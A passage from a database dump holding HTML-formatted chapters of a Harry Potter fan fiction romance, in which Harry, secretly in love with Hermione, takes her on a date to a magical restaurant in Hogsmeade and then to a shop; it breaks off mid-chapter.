&#8220;That&#8217;s the best part about having a owl that only its \nowner can talk to.&#8221; Hedwig returned his smile, spreading her wings in a way to \nsort of bow to him.</p>\n<p>&#8220;I&#8217;m sure Hermione would want to hear the reason too,&#8221; she suggested. </p>\n<p>&#8220;About why I don&#8217;t want to tell her I love her? That&#8217;ll be the day!&#8221;</p>\n<p>&#8220;Speaking of Hermione&#8230;&#8221; trailed Hedwig, her eyes focused on a point a few \nyards behind Harry. He turned his head around and saw none other than Ms. \nGranger making her way toward them. </p>\n<p>Same old Hermione, thought Harry. He was right. Out of Ron, Hermione and \nhimself, Hermione went through the least change of the three. She did, however, \ndevelop into a stunningly pretty woman over the last few years and her brown \nhair was just as bushy as ever. You could easily make her out if she was \nstanding in a crowd of girls. This was one of the reasons why Harry liked \nHermione so much. She didn&#8217;t really care about how she looked in front of \npeople. She wore no make-up and at least brushed her hair to make it orderly. \nHarry fell in love with her natural beauty, the beauty that Hermione doubted \ntime after time that she didn&#8217;t have. </p>\n<p>&#8220;Hi Harry!&#8221; she yelled as she trotted over to them. &#8220;Ron told me I would find \nyou here.&#8221;</p>\n<p>&#8220;Hello Hermione,&#8221; said Harry, making room for her under the tree he and \nHedwig were resting under.</p>\n<p>&#8220;I couldn&#8217;t help but over-hearing you and Hedwig in one of your cute little \nconversations again,&#8221; she smiled, as she sat down next to him. </p>\n<p>&#8220;<i>That&#8217;s</i> the smile you love, isn&#8217;t it Harry?&#8221; said Hedwig to him, which \nsounded nothing more than a methodical hoot to Hermione.</p>\n<p>&#8220;That&#8217;s the one,&#8221; he hooted back to her.</p>\n<p>&#8220;See? That&#8217;s it!&#8221; exclaimed Hermione, pointing at Harry and Hedwig and \nsmiling. &#8220;How she hoots at you and how you hoot back at her! It&#8217;s so adorable! I \nswear, it&#8217;s almost like you two are actually talking sometimes.&#8221; </p>\n<p>Harry couldn&#8217;t help but grin back at her. It was a nice feeling that Hermione \nthought it was cute how he and Hedwig engaged in conversation. But it was even \nmore fun talking about how much he liked her, right in front of her face without \nher knowing.</p>\n<p>&#8220;So what you up to?&#8221; asked Harry, turning his attention toward Hermione.</p>\n<p>&#8220;Actually,&#8221; she said, turning a light shade of red, &#8220;I need to talk to you \nHarry.&#8221;</p>\n<p>&#8220;Me?&#8221; he said, feeling a bit surprised at her request.</p>\n<p>&#8220;Yes Harry. You,&#8221; she responded, making it seem like she was saying &#8220;well \nwhom else then?&#8221; instead, then turning toward Hedwig.</p>\n<p>&#8220;Do you mind if I speak with Harry alone for a while Hedwig?&#8221; she said in a \npet-talk sort of way as she smiled and stroked her wing gently. &#8220;It&#8216;s rather \npersonal.&#8221; Hedwig nibbled her finger in an affectionate way, spread out her \nwings in a bowing manner, hooted a &#8220;good luck&#8221; to Harry, and flew off. Hermione \nwas the first to speak.</p>\n<p>&#8220;So what are you doing out here?&#8221; she asked, making herself a little more \ncomfortable under the shade of the tree.</p>\n<p>Thinking, thought Harry. The same thing I do every time I come out here. \n&#8220;Nothing,&#8221; he replied.</p>\n<p>&#8220;You&#8217;re a bad liar Potter,&#8221; Hermione teased, &#8220;I notice that you come out here \nevery time you need to think.&#8221;</p>\n<p>&#8220;I&#8216;m impressed Granger,&#8221; he replied with a smile, &#8220;I&#8217;m beginning to think \nthat you can somehow read my mind.&#8221; Hermione giggled.</p>\n<p>&#8220;So what were you thinking about Harry?&#8221; she asked, looking excited as to \nwhat his response might be.</p>\n<p>The same thing I think about every time I&#8217;m out here Hermione, he thought. \nYou. &#8220;Nothing in particular,&#8221; said Harry, half-blushing, &#8220;I just needed time to \nmyself, that&#8217;s all.&#8221;</p>\n<p>&#8220;Oh,&#8221; replied Hermione, a bit disappointed about getting an answer that \nwasn&#8217;t exciting at all.</p>\n<p>&#8220;So what were you going to talk to me about?&#8221; asked Harry, feeling a little \nflustered that he was alone in the shade with Hermione. &#8220;Must be really \nimportant if you had to send Hedwig away.&#8221; For the first time in the \nconversation, it was Hermione&#8217;s turn to turn a shade of scarlet.</p>\n<p>&#8220;Well&#8230; I,&#8221; she stammered and then paused. Harry just stared at her. He had \nnever seen her look so uncomfortable. Hermione took a deep breath before \nspeaking again.</p>\n<p>&#8220;Well since you&#8217;re Head Boy, it&#8230; is your duty to help others when they are in \nneed of advice right?&#8221; she said nervously.</p>\n<p>&#8220;How about you?&#8221; added Harry. &#8220;You are Head Girl. And A LOT smarter than I \nam. What advice could I give you?&#8221; This made Hermione turn a little redder.</p>\n<p>&#8220;Well&#8230; um&#8230; promise not to laugh?&#8221; she said in a soft voice.</p>\n<p>&#8220;Of course,&#8221; said Harry in his most comforting voice. &#8220;I would never laugh at \nyou.&#8221; Hermione smiled back at him. The same smile that Harry grew to love. Don&#8217;t \nsmile at me like that, he thought . Or I may just kiss you right now.</p>\n<p>&#8220;Harry&#8230; how&#8230; do you know&#8230; when you&#8217;re&#8230; in love?&#8221; asked Hermione, not making \neye contact with him at all. Harry&#8217;s eyes widened at her question. Out of \neveryone in Hogwarts, why on earth would she specifically ask him&#8230; <i>that</i>? \n</p>\n<p>&#8220;Well&#8230;&#8221; started Harry, he himself beginning to fell very awkward. &#8220;How do you \nknow when you&#8217;re in love? Um&#8230;&#8221;</p>\n<p>&#8220;It&#8217;s ok if you don&#8217;t know Harry. I just&#8230;&#8221;</p>\n<p>&#8220;No no, Hermione it&#8217;s not that,&#8221; he interrupted. &#8220;It&#8217;s just&#8230;&#8221;</p>\n<p>&#8220;Just what?&#8221; she asked, looking back at him.</p>\n<p>&#8220;Nothing,&#8221; replied Harry, as he paused to look right back into the eyes of \nHermione. He himself couldn&#8217;t explain it, but there were something about them \nthat drove him insane. &#8220;But about your question&#8230;&#8221;</p>\n<p>&#8220;Yes?&#8221;</p>\n<p>&#8220;Well it&#8217;s kind of hard to explain really,&#8221; said Harry, scratching his head, \n&#8220;But there are some vital signs, like thinking about the person excessively and \nfinding yourself daydreaming more often. Having the need and desire to see the \nperson everyday and when you do, you find yourself stealing glances. But to sum \nit all up, it&#8217;s really when you&#8217;re around the person; when you can&#8217;t speak, you \ncan&#8217;t breathe, you can&#8217;t think. When you get this feeling inside when stand next \nto this special person and nothing else matters. You just feel it in your \nheart&#8230;&#8221; Harry found himself stopping dead in his speech. Without knowing it, he \nhad told Hermione how he felt when he figured out he was in love with her.</p>\n<p>&#8220;Well I must say Harry, that I am impressed,&#8221; admitted Hermione. &#8220;I&#8217;m \nimpressed that you could break it down like that. I&#8217;ll keep your advice in \nmind.&#8221; Suddenly, Harry had the urge to ask her why she asked him that question \nin the first place, but that moment soon passed because Harry wanted to ask \nanother question.</p>\n<p>&#8220;What are you doing this late afternoon?&#8221;</p>\n<p>&#8220;Um&#8230; I think that I have noth&#8230;yes, I&#8217;m free. Why Harry?&#8221;</p>\n<p>&#8220;Do you mind if I take you out then?&#8221; asked Harry. After asking her countless \ntimes before, it got much easier for him to do with confidence. Hermione&#8217;s eyes \nlit up, making him shift in his sitting position.</p>\n<p>&#8220;Of course Harry!&#8221; she exclaimed. &#8220;This&#8217;ll be so exciting! Where are we going \nto go?&#8221;</p>\n<p>&#8220;We&#8217;ll considering that we do have limits and school rules to follow,&#8221; \nreplied Harry matter-of-factly and trying to sound intelligent too, &#8220;we don&#8217;t \nreally have a choice do we Hermione?&#8221;</p>\n<p>&#8220;Hogsmeade?&#8221; she said with a grin on her face.</p>\n<p>&#8220;Yep,&#8221; nodded Harry. &#8220;I&#8230;&#8221; but he couldn&#8217;t finish his sentence because \nHermione had flung her arms around him. &#8220;I&#8217;m so excited!&#8221; she said into his ear \nbefore withdrawing from him. &#8220;It&#8217;s been a while since we&#8217;ve been out.&#8221;</p>\n<p>Tell me about it, thought Harry. Maybe you&#8217;ll realize what I&#8217;ve been trying \nto tell you for so long&#8230;</p>\n'),
	(169, 3, '\n\n<b><p align="CENTER">Chapter 3 - The Date Preparation</p>\n<p align="CENTER"></p>\n</b><p>&nbsp;</p>\n<p>As Harry fumbled with his shirt in the boys&#8217; dormitories to get ready for the date that he and Hermione were having, Ron decided it was best to laugh and snicker at him as he watched Harry literally go crazy.</p>\n\n<p>&#8220;How do I look?&#8221; asked Harry as he absentmindedly tried to fix his hair with his hands, knowing very well that it would do no good.</p>\n\n<p>&#8220;For the thousandth time Harry,&#8221; replied Ron with a half annoyed, half grin on his face, &#8220;you look fine.&#8221;  Harry ignored his response and continued to tend to himself.</p>\n\n<p>Deciding to go with a conservative look, Harry decided to wear black jeans and a sky blue flannel with an undershirt.  He felt comfortable with what he was wearing; the only problem was his hair was not very suitable and he had been looking in a mirror and tending to it for the last 10 minutes. </p>\n\n<p>&#8220;Just leave it mate,&#8221; Ron said exasperatedly from behind.  &#8220;It&#8217;s only Hermione.&#8221;</p>\n\n<p>That&#8217;s easy for you to say, thought Harry.  To <i>you </i>she only Hermione.  To <i>me </i>she&#8217;s something so much greater.  &#8220;I guess you&#8217;re right,&#8221; sighed Harry, finally submitting to Ron.</p>\n\n<p>&#8220;Relax Harry.  Take a deep breath,&#8221; suggested Ron, noticing the way Harry&#8217;s body tensed up at random moments.</p>\n\n<p>&#8220;I can&#8217;t help it!&#8221; exclaimed Harry.  &#8220;It&#8217;s just&#8230; it&#8217;s been awhile since I&#8217;ve taken her out.  I&#8217;m afraid that I&#8217;m going to do something wrong.&#8221;</p>\n\n<p>&#8220;That&#8217;s why you need to relax Harry,&#8221; explained Ron.  &#8220;You won&#8217;t do anything wrong if you&#8217;re calm and relaxed.  I swear, it&#8217;s like you&#8217;re getting married or something.&#8221;  A mental image wandered into Harry&#8217;s head and he couldn&#8217;t help but blush a little at Ron&#8217;s remark.  &#8220;So where are you taking her?&#8221;  asked Ron, trying his best to lighten the mood a little.</p>\n\n<p>Harry shrugged.  &#8220;I have no idea yet.  But I can guarantee it&#8217;s going to be somewhere in Hogsmeade.&#8221;</p>\n\n<p>&#8220;You better get going,&#8221; said Ron, motioning toward the door.  &#8220;You don&#8217;t want to keep Hermione waiting.&#8221;  </p>\n\n<p>&#8220;Right,&#8221; replied Harry as he held his arms out to the side.  &#8220;How do I look?&#8221;</p>\n\n<p>&#8220;Button the bottom two on the shirt,&#8221; commented Ron.  &#8220;It looks to rugged.&#8221;</p>\n\n<p>***</p>\n\n<p>Harry paced patiently back and forth in the Gryffindor common room waiting nervously for Hermione.  She was taking a lot long than he was anticipating.  A few moments later, Harry heard footsteps coming down the stairs.  He immediately looked up.</p>\n\n<p>&#8220;Hi Harry,&#8221; said Hermione as she carefully walked down the steps.  &#8220;Sorry I&#8217;m late.&#8221;</p>\n\n<p>At he way Hermione looked, Harry would care less if she was a few minutes late or a few hours late.  She wore a white turtleneck sweater and a knee-high denim skirt with a slit in the bottom center.  Her bushy hair cascaded over her shoulders and bounced a bit as she walked.  To someone else, she was very conservative looking.  To Harry, she was the most beautiful thing in the world.</p>\n\n<p>&#8220;Hey Hermione,&#8221; said Harry, still amazed with how she looked.  It had been way to long since he took her out and she dressed like that.  She approached him and was within arms length.  There was an awkward silence.</p>\n\n<p>&#8220;So are we going somewhere or are we going to stand here for a couple of hours?&#8221; humored Hermione.</p>\n\n<p>Harry shook his head to get out of the trance Hermione had unknowingly put on him.</p>\n\n<p>&#8220;Sorry,&#8221; he apologized as he massaged his temples. &#8220;I&#8217;m not thinking straight today for some reason,&#8221; explained Harry, though he knew exactly why.</p>\n\n<p>&#8220;You look very handsome,&#8221; complemented Hermione.  Harry felt the heat go straight to his face as his heart skipped a beat at the comment; he wasn&#8217;t expecting it at all.</p>\n\n<p>&#8220;You&#8230; look beautiful,&#8221; said Harry, in the most casual voice he could muster.</p>\n\n<p>&#8220;Thanks,&#8221; said Hermione, as the smile that Harry loved so much appeared on her face.  It seemed to make her presence feel even better.</p>\n\n<p>&#8220;Let&#8217;s go then,&#8221; said Harry, extending an arm out to Hermione.  When she took it, Harry led her out of the common room and through the portrait hole.</p>\n\n<p>&#8220;Where are we going?&#8221; she asked with the same grin on her face.</p>\n\n<p>&#8220;Well considering that we are limited to time and how far we can travel&#8230; I&#8217;ll give you one guess,&#8221; said Harry in a playful and obvious voice.</p>\n\n<p>&#8220;Hogsmeade!?&#8221; asked Hermione, looking hopeful.</p>\n\n<p>&#8220;How on Earth did you figure that out Hermione?&#8221; Harry said sarcastically.</p>\n\n<p>&#8220;I&#8217;m just a great guesser,&#8221; she explained with a smile.</p>\n\n<p>***</p>\n\n<p>The sun was setting just below the horizon as Harry and Hermione walked casually down the alleys of Hogsmeade.  Surprisingly, Hermione had a firm grip on Harry&#8217;s arm the whole time and tried to walk as close to him as possible.  She was probably doing that to feel secure and protected.  Harry couldn&#8217;t blame her; this was about the time when all the &#8220;weirdo&#8217;s&#8221; started to come out.  Of course, Harry didn&#8217;t mind the closeness of Hermione.  If some &#8220;weirdo&#8221; did harass Hermione, they would have to answer to Harry first.</p>\n\n<p>The sun setting below the horizon gave the sky a glowing orange color, which for some reason, seemed to outline Hermione specifically and made her even more beautiful than ever.  Harry couldn&#8217;t help but stare at her as they walked.  If Hermione noticed, he didn&#8217;t care - until she really <i>did </i>notice.  She stopped suddenly and turned to face him.</p>\n\n<p>&#8220;What?&#8221; asked Hermione self-consciously, when she <i>did </i>notice Harry staring.</p>\n\n<p>&#8220;Oh!&#8221; said Harry, a small and stupid grin appearing on his face when he realized that he was staring a little <i>too</i> long.</p>\n\n<p>&#8220;Do I have something in my hair?&#8221; she asked, combing it with her fingers.   Harry sighed with relief.  She did notice him staring, but not for the reason that he thought.</p>\n\n<p>&#8220;No, no,&#8221; replied Harry, &#8220;I was&#8230; I was just uh&#8230;&#8221;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Never mind,&#8221; smiled Harry as he shook his head.  Hermione returned his smile and tucked a lock of hair behind her ear.  Harry could have died on the spot.</p>\n\n<p>Hermione&#8217;s smile was quickly replaced with a look of astonishment.  There was something behind Harry that really had her interest now.  Her gaze started at eye level and slowly went higher and higher.</p>\n\n<p>&#8220;What?&#8221; asked Harry, a little afraid to see what was behind him.  The last time someone had looked that high was when he fought a mountain troll.  Hermione didn&#8217;t answer, apparently still astounded with what she was still looking at.  At the count of three, Harry wheeled around and the same expression he saw on Hermione&#8217;s face was duplicated on his.</p>\n\n<p>&nbsp;</p>\n<b><p>A/N:  Sorry so long for the update!!!  It&#8217;s just that I&#8217;ve been really busy lately and I really need to pass my senior year!  I don&#8217;t know what I&#8217;d do if I didn&#8217;t walk&#8230;  Anyway, I hope you enjoyed this chapter, even though its really a short one.  </p>\n\n<p>I have some news though!  I think many of you may know my story &#8220;Love, Lust, and Trust&#8221;.  Apparently, someone e-mailed me and said that he had saved the entire story, including the &#8220;Mature&#8221; chapter.  If he sends it to me, I will be able to repost it and finish it!!!</p></b>\n\n'),
	(169, 4, '\n\n<b><p align="CENTER">Chapter 4 - The Date</p>\n<p align="CENTER"></p>\n</b><p>&nbsp;</p>\n<p>Before Harry turned around, he expected to see something big, massive, and unusual.  He got exactly what he asked for.  </p>\n\n<p>He and Hermione stared at what looked to be a very large castle made out of dark red bricks.  The profile of the castle was lit with plenty of torches, making look a bit mysterious yet cheerful.  It had about a hundred windows in random places and looked about a hundred years old.  It was so eye-popping that there was no way that the two of them (or any student attending Hogwarts for that matter) had been going to Hogsmeade all these years and not notice it.</p>\n\n<p>&#8220;What&#8230;is it Harry?&#8221; squealed Hermione from behind him, still holding firmly onto his arm as if the building would suddenly grow teeth and gobble them up.  </p>\n\n<p>Harry didn&#8217;t answer.  He just shook his head slowly from side to side, his mouth opening and closing wordlessly.  They both stood there for what seemed like hours, until a lady wearing a collared shirt with a black tie and a matching dress skirt approached them.</p>\n\n<p>&#8220;Excuse me?&#8221; she said in a polite manner.  &#8220;Are you two interested in going in?&#8221;  She was motioning toward the gigantic castle.  It took a moment for Harry to answer before she repeated herself.  </p>\n\n<p>&#8220;I&#8217;m sorry, what?&#8221; replied Harry as he broke out of the gazing trance, turning a bit pink for not noticing her sooner.</p>\n\n<p>&#8220;Are you two interested in it?&#8221; the lady asked again with a friendly smile.</p>\n\n<p>&#8220;What is&#8230; IT?&#8221;  asked Hermione from behind Harry, her eyes still locked on the mammoth building.</p>\n\n<p>&#8220;It&#8217;s Merlin &amp; Merlina&#8217;s Wiztaurant,&#8221; she said with formality.  Harry and Hermione&#8217;s head shot directly at her when her answer came.</p>\n\n<p>&#8220;What!?&#8221; they both replied incredulously at the same time.</p>\n\n<p>&#8220;We&#8217;re a traveling restaurant,&#8221; the lady explained.  &#8220;A magical restaurant.  We&#8217;re just like any ordinary one&#8230; only we&#8217;re not.&#8221;  She said this as if she made total sense.</p>\n\n<p>&#8220;I&#8217;m sorry&#8230;&#8221; started Harry, then quickly seeing her nametag, &#8220;&#8230;Ami.  But I&#8217;m afraid we haven&#8217;t heard of this restaurant before.&#8221;</p>\n\n<p>&#8220;Well, I don&#8217;t blame you,&#8221; said Ami sadly.  &#8220;We&#8217;ve never traveled to this part of the world before.  I wonder why no ones ever invited us sooner?&#8221;  Harry didn&#8217;t say anything.  He was busy trying to see what it would be like for a castle about the size of a very large sky scraper to travel around the world.</p>\n\n<p>&#8220;It looks kind of nice Harry,&#8221; said Hermione with a little more interest.  &#8220;Why don&#8217;t we check it out?&#8221;</p>\n\n<p>&#8220;See! !  I guarantee you two will enjoy yourselves here.  Your girlfriend knows what she&#8217;s talking about!&#8221; Amy exclaimed.  As much as he wanted Hermione to be, Ami&#8217;s assumption wasn&#8217;t true.  Harry turned a shade of scarlet.  Luckily Hermione was behind him, otherwise she would&#8217;ve seen for sure.</p>\n\n<p>&#8220;But she&#8217;s not my girl&#8230;&#8221; </p>\n\n<p>&#8220;Nonsense!&#8221; Ami interrupted, as she grabbed Harry by the arm and started to drag him through the grand doors.   &#8220;Come on.&#8221;</p>\n<p>Harry gave a quick &#8220;help me&#8221; glance to Hermione before he was literally dragged into the dark doorway.  He was still holding on to Hermione, so she was dragged along as well.</p>\n\n<p>***</p>\n\n<p>Although Harry and Hermione were being dragged against their will through the narrow walkways by a lady they had only met moments ago, Harry did get a chance to notice the surprising atmosphere.  As dark, gloomy, old, and mysterious it looked on the outside, it was bright, cheerful, and brand-new looking in the inside.  It represented a very fine and expensive ballroom.  The carpet was a fine red and felt sort of springy under his feet.  As he was being led through the walkways in one direction, then suddenly in another, Harry glanced back at Hermione to check up on her.  Though she looked breathless and a bit flustered, she smiled, the way that made Harry lose his breath, to him.  He couldn&#8217;t help but smile back, but it was quickly removed from his face as he felt Ami jerk on his arm in again another direction.  </p>\n\n<p>Harry noticed that it got a bit darker the more they continued to walk.  At the beginning, certain areas were lit my an unknown light source, then it was starting to be lit my a dim candlelight.  A <i>romantic</i> candlelight .</p>\n\n<p>&#8220;Come on, this way,&#8221; said Ami, as if Harry and Hermione had a choice of whether or not to follow her.  She glanced back at Harry for a moment.  &#8220;Don&#8217;t worry,&#8221; she said, in a comforting sort of way with another friendly smile,  &#8220;I know just what it feels like to be on a first date.  You don&#8217;t have to be afraid.&#8221;  Harry once again turned a shade of red, once again lucky enough not to have Hermione see him.  It was no use answering to Ami, she wouldn&#8217;t listen to him anyway.</p>\n\n<p>***</p>\n\n<p>Finally, Harry and Hermione had gotten seated in the &#8220;deepest part&#8221; of the restaurant as Ami had called it.  It was lit by two dim candles on the table that Ami had them seated at.  Their table was quite small, but Harry was amazed at how much delicious food, which Hogwarts had never served, started to appear on the table.</p>\n\n<p>The two of them ate to their hearts desire as they talked about various subjects, ranging from school assignments to Quidditch teams.  No sooner when they were seated and served, their half empty plates were wiped clean and dessert started to appear on the table (the table somehow knew when they were done).</p>\n\n<p>Has Harry ate his hot fudge sundae and Hermione her banana split, the conversation went from Potions classes to Ron&#8217;s enigmatic infatuation with his girlfriend, Rachel.</p>\n\n<p>&#8220;How long have they been going out?&#8221; asked Hermione, before putting a spoonful of ice cream in her mouth.  That sight alone made Harry swallow and catch his breath. </p>\n\n<p>&#8220;I&#8230; uh&#8230; since last year,&#8221; stuttered Harry, unable to speak clearly.  Hermione somehow took notice.</p>\n\n<p>&#8220;What&#8217;s the matter?&#8221; she asked, licking her top lip to get a bit of whipped cream.  &#8220;You&#8217;re not choking over there I hope.&#8221;  Harry closed his eyes and shook his head subtly.</p>\n\n<p>&#8220;Oh no,&#8221; said Harry, trying really hard to lock the image of Hermione licking her lip into his brain.</p>\n\n<p>&#8220;Good,&#8221; answered Hermione with a grin, &#8220;I don&#8217;t want to have to do the Heimlich maneuver.&#8221;</p>\n\n<p>I wouldn&#8217;t mind though, thought Harry.</p>\n\n<p>&#8220;I guess Rachel has been the longest right?&#8221; asked Hermione, going back to eating her banana split.</p>\n\n<p>&#8220;Yep,&#8221; said Harry, taking a sip of his water to hopefully clear his mind.  Watching Hermione eat dessert never affected him like this before.</p>\n\n<p>&#8220;It broke the record of&#8230;&#8221;</p>\n\n<p>&#8220;2 weeks,&#8221; finished Harry.  Hermione raised her eyebrows.</p>\n\n<p>&#8220;Was that the longest one before?&#8221; she asked.</p>\n\n<p>&#8220;Yeah,&#8221; nodded Harry, &#8220;she must be something really special.&#8221;  There was a long and awkward silence  before Hermione spoke.</p>\n\n<p>&#8220;I just wanted to thank you Harry,&#8221; she said, not making eye contact with him.</p>\n\n<p>&#8220;For what?&#8221; asked Harry, looking up at her expecting to find eyes but instead finding the top of a head.  </p>\n\n<p>&#8220;For being a great friend,&#8221; said Hermione, now twirling around her ice cream with her spoon.  &#8220;For taking me out tonight and all those other nights.  For&#8230; everything.  You&#8217;ve been really sweet to me you know&#8230;&#8221;  She suddenly looked up at him when she trailed her last sentence, instantly locking her eyes with his.</p>\n\n<p>Harry had to blink before he could tell that his brain was still functioning.  He found himself getting completely lost in her eyes for the first time.  Sure, he had stared into Hermione&#8217;s eyes before (luckily she really didn&#8217;t notice) but this time it felt&#8230; different.</p>\n\n<p>The dimly lit room caused her eyes to dilate, which made her eyes stand out and her face light up more than ever.  Add to the fact the room was lit by candlelight.  It surrounded Hermione like an aurora, which made her look even more beautiful than ever.  Harry had to fight strong urges in order to prevent himself from losing his composure, taking Hermione and putting her against the wall, and doing things to her that&#8217;ll definitely make people gasp of shock, get him kicked out of the restaurant, and probably get a life sentence in Azkaban for &#8220;excessive public display of affection&#8221;.</p>\n\n<p>&#8220;It&#8217;s no problem Hermione,&#8221; said Harry in the most natural voice he could.  &#8220;I just have fun with being with you that&#8217;s all.  And I love being your friend.&#8221;</p>\n\n<p>&#8220;You&#8217;re the best Harry,&#8221; Hermione smiled, making the latter shift in his seat. </p>\n\n<p>&#8220;Besides,&#8221; added Harry, trying to not make such a big deal about his dates with her, even though it made a <i>huge </i>deal, &#8220;It&#8217;s not like you haven&#8217;t been on a date right?&#8221;  Hermione made a noise, which sounded like half a sigh of infatuation, with half a sigh of exasperation.</p>\n\n<p>&#8220;Viktor Krum&#8230;&#8221; she said, looking down at her bowl.  &#8220;He was my first <i>real</i> date&#8230;&#8221;</p>\n\n<p>&#8220;The Yule Ball,&#8221; commented Harry.  &#8220;You looked so beautiful that day.&#8221;  And it was true.  Fourth year at the Yule Ball was the <i>first</i> time Harry saw Hermione as&#8230; well&#8230; a girl; and a very pretty one at that.</p>\n\n<p>&#8220;I was so happy that day&#8230;&#8221; said Hermione, but her sentence didn&#8217;t sound too convincing.</p>\n\n<p>&#8220;Why do you sound so&#8230; disappointed then?&#8221; asked Harry.</p>\n\n<p>&#8220;I was happy&#8230; and yes, disappointed at the same time&#8230;&#8221;</p>\n\n<p>&#8220;Why?&#8221; asked Harry, looking sideways her.  Hermione sighed before looking up at him and sitting up straight.</p>\n\n<p>&#8220;Well I was indeed flattered that the famous Quidditch Bulgarian Seeker asked me to the ball&#8230;&#8221; started Hermione.</p>\n\n<p>&#8220;But&#8230;?&#8221; asked Harry before Hermione could say it.</p>\n\n<p>&#8220;Well&#8230; as great as that may have been,&#8221; said Hermione, &#8220;I was surprised and a bit disappointed that&#8230;&#8221; she paused.  She seemed like she didn&#8217;t want to finish her sentence.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;&#8230;that you or Ron hadn&#8217;t asked me to the Ball instead.&#8221;</p>\n\n<p>Harry didn&#8217;t answer, or rather, he couldn&#8217;t answer.  He was so sorry, yet so touched by what Hermione had said.  At the time, he was being so selfish and trying so hard to get Cho to go with him that he didn&#8217;t realize that Hermione, one of his best friends, was waiting there the whole time for either Ron or him to ask her and she would&#8217;ve happily said yes.  To make things worse, Harry didn&#8217;t even get to go with Cho anyway and instead found a last minute date with Parvati Patil .  He admitted to himself that he would rather have gone with Hermione instead of Parvati any day.  His voice had suddenly malfunctioned. </p>\n\n<p>&#8220;I was sort of anticipating it,&#8221; explained Hermione, &#8220;and waiting for it, but it never came.  I guess I was just being selfish.  I was even planning on not going at all&#8230; then Viktor asked me&#8230; and I couldn&#8217;t say no.&#8221;</p>\n\n<p>Harry continued to stare at Hermione; his mouth agape.</p>\n\n<p>&#8220;I might have felt something with Viktor,&#8221; admitted Hermione.  &#8220;But, I think it was just the attention I was getting that made it seem that way.&#8221;  She involuntary dropped her head sadly.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; said Harry, reaching over the table and putting his hands on one of her own.  &#8220;I had no idea&#8230;&#8221;</p>\n\n<p>&#8220;That I thought about such things?&#8221; answered Hermione.  &#8220;I know Harry.  Your not the only one to say that.&#8221;</p>\n\n<p>&#8220;I <i>didn&#8217;t</i> say that,&#8221; said Harry gently.  &#8220;What I&#8217;m saying is that I had no idea how much that meant to you and I apologize for being such a prat.&#8221;</p>\n\n<p>&#8220;Don&#8217;t apologize Harry,&#8221; said Hermione with her head still down.  &#8220;There&#8217;s no one who cares about me that way anyway.&#8221;</p>\n\n<p>&#8220;Of course there is,&#8221; Harry replied.  &#8220;One of them is holding your hand.&#8221;</p>\n\n<p>Hermione&#8217;s hand shot up and immediately their eyes met once again.  Those deep brown eyes Hermione had had a tremendous affect on him.  Harry couldn&#8217;t help but gulp when it happened;  he hoped that she didn&#8217;t sense how nervous he was.  Hermione&#8217;s eyes slipped away from Harry&#8217;s and went to their joined hands on the table.  A smile came from Hermione, followed by a struggled laugh.</p>\n\n<p>&#8220;See?&#8221; said Harry, smiling along with her.</p>\n\n<p>The hand of Hermione&#8217;s that wasn&#8217;t being held covered her mouth in a joyful way.  Though Harry couldn&#8217;t see it, he knew she was covering a grin.  A single tear of delight fell down Hermione&#8217;s face.</p>\n\n<p>&#8220;I guess I was being selfish too,&#8221; confessed Harry.  &#8220;I was so content in getting Cho Chang for my date that I failed to see the more beautiful and better date that was right under my nose: you, Hermione.&#8221;</p>\n\n<p>&#8220;Oh Harry!&#8221; exclaimed Hermione, so loudly that other guest started to look.  What she did next was surreal and unexpected: she stood up abruptly , walked around the table, and gave Harry a hug when he was still sitting down.  Feeling a bit awkward at the unorthodox hug, Harry stood up with Hermione to match the hug.</p>\n\n<p>&#8220;Oh Harry, thank you so much,&#8221; cried Hermione into his shoulder.  </p>\n\n<p>&#8220;It&#8217;s ok Hermione,&#8221; Harry comforted, rubbing his hand up and down her back.  He was certain people were looking, but he didn&#8217;t care.  What he cared about was that he had just helped one of his best friends through conversation.  What he cared about was that he was holding the girl he loved in his arms.  What he cared about was he felt so comfortable and right doing it.   </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(169, 5, '\n\n<b><p align="CENTER">Chapter 5 - The Shop</p>\n<p align="CENTER"></p>\n<p>&nbsp;</p>\n</b><p>After the talk that Harry and Hermione had (though neither of them meant it to be) became very awkward for the both of them.  Hermione was no longer holding on to Harry&#8217;s arm and Harry tried to stay as far away as possible, but still keep her within a safe range as they walked down alleys.</p>\n\n<p>Neither of them spoke of why they were walking down alleys, but Harry said to himself that it was a way to settle down the tension that had builded between them at dinner.  Harry slapped himself mentally had hard as he could.  If he didn&#8217;t come to his senses at the last minute, he could have sworn he would have kissed her right then and there.</p>\n\n<i></i><p><i>&#8220;Wait a minute?&#8221; </i>came a voice in his head as he absentmindedly looked at shops while keeping a close distance on Hermione.  <i>&#8220;Don&#8217;t you want her to know that you like her?  By kissing her, you could&#8217;ve easily gave it away there!  She was so vulnerable, it would&#8217;ve worked!&#8221;</i></p><i>\n\n</i><p><i>&#8220;But that&#8217;s not the point,&#8221; </i>said another voice.  <i>&#8220;It wouldn&#8217;t have been right going about it like that.&#8221;</i>  At that moment, Hermione tugged him on his shirt; this caused him to come back to reality and the voices disappeared.</p>\n\n<p>&#8220;Oh Harry look at that!&#8221; she exclaimed, looking at something to her right.  Harry turned to look and felt a smile tug at the corners of his mouth.</p>\n\n<p>&#8220;A bookstore?&#8221; Harry chuckled.  &#8220;Yes I&#8217;ve seen one before,&#8221; he joked.</p>\n\n<p>&#8220;No Harry!&#8221; said Hermione, hitting him on his arm.  &#8220;I meant that I would like to go and look around in it.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; replied Harry, but he was distracted to the store that was on the right of it.  The store was called &#8220;Lynda&#8217;s Wizard Anythings&#8221;.  It wasn&#8217;t the store simply being a thrift shop that caught his eye, it was the sign next to the door that did.  It read: <i>Find amazing gifts here.  Guaranteed to impress anyone!</i></p><i>\n\n</i><p>Looks like I can find Hermione an early gift for Christmas, Harry thought happily.</p>\n\n<p>&#8220;You go on ahead with the bookstore,&#8221; persuaded Harry, &#8220;I want to look in that one over there.&#8221;  He motioned toward the other store.</p>\n\n<p>&#8220;Ok,&#8221; sighed Hermione, &#8220;but I don&#8217;t want to stay long.&#8221;</p>\n\n<p>&#8220;I won&#8217;t be long,&#8221; confirmed Harry, &#8220;Besides, it&#8217;s getting lat and we should be headed back soon.  We&#8217;ll meet right back over here in 10 minutes ok?&#8221;</p>\n\n<p>Hermione nodded and made her way in the semi-deserted bookstore while Harry made his way to the small shop.  In the window were two manikins, one 